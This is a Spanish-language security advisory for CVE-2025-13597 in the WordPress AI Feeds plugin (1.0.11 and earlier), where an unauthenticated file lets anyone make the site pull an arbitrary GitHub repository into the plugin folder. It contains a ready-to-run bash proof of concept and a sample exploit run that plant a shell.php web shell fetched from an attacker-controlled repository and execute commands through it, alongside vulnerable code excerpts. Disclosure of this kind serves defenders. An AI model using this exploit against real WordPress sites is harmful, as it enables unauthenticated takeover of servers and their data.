
AI Feeds <= 1.0.11 - Subida de archivos arbitrarios no autenticada
El complemento de WordPress AI Feeds en versiones 1.0.11 e inferiores contiene una vulnerabilidad de ejecución remota de código sin autenticación en el archivo actualizador_git.php. Este archivo es accesible directamente vía HTTP sin ninguna comprobación de autenticación o autorización, lo que permite a atacantes no autenticados descargar repositorios arbitrarios de GitHub y sobrescribir archivos del complemento, llevando a una ejecución remota de código.
Se proporciona un CVE-2025-13597.py para demostrar que un atacante remoto puede subir shell.php y ejecutar código remoto:
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND
La vulnerabilidad existe en /wp-content/plugins/ai-feeds/actualizador_git.php. Este archivo implementa un sistema de duplicación de repositorios de GitHub que puede ser accedido directamente vía HTTP sin controles de seguridad.
Acceso directo al archivo (Líneas 1-17):
El archivo carece de la comprobación estándar de WordPress ABSPATH (if (!defined('ABSPATH')) exit;) que impide el acceso directo vía HTTP. Los parámetros se leen directamente de $_GET sin validación:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_ai-feeds';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
Validación del token (Línea 26): La única validación comprueba si el token está vacío o es el valor predeterminado. No se realiza ninguna autenticación o autorización:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
Solicitud a la API de GitHub (Línea 31, 35-58): El script descarga un archivo ZIP desde la API de GitHub utilizando parámetros controlados por el usuario:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
La función curl_download() envía el token en el encabezado Authorization pero no realiza ninguna validación del propietario o contenido del repositorio.
Extracción del ZIP y operaciones con archivos (Líneas 144-169): El ZIP descargado se extrae y los archivos se copian directamente al directorio del complemento:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
La función rrcopy_into() copia recursivamente todos los archivos del repositorio extraído al directorio de trabajo actual (directorio del complemento), sobrescribiendo los archivos existentes.
Eliminación de archivos (Líneas 164-165): Los archivos que no están presentes en el repositorio descargado se eliminan:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
La función mirror_delete_extras() elimina cualquier archivo en el directorio del complemento que no exista en el manifiesto del repositorio.